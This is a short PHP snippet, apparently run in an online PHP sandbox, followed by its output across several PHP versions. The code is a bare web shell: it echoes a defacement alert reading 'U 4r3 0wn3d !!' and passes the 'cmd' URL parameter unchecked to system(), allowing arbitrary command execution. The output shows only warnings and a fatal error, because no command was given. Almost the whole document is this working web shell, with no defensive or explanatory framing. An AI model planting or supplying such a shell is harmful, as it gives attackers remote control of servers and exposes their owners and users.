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<?php echo "<script>alert(U 4r3 0wn3d !!);</script>"; echo "Run command: ".htmlspecialchars($_GET['cmd']); system($_GET['cmd']); ?>
Output for git.master, git.master_jit, rfc.property-hooks
<script>alert(U 4r3 0wn3d !!);</script> Warning: Undefined array key "cmd" in /in/r43mm on line 3 Deprecated: htmlspecialchars(): Passing null to parameter #1 ($string) of type string is deprecated in /in/r43mm on line 3 Run command: Warning: Undefined array key "cmd" in /in/r43mm on line 5 Deprecated: system(): Passing null to parameter #1 ($command) of type string is deprecated in /in/r43mm on line 5 Fatal error: Uncaught ValueError: system(): Argument #1 ($command) cannot be empty in /in/r43mm:5 Stack trace: #0 /in/r43mm(5): system('') #1 {main} thrown in /in/r43mm on line 5
Process exited with code 255.

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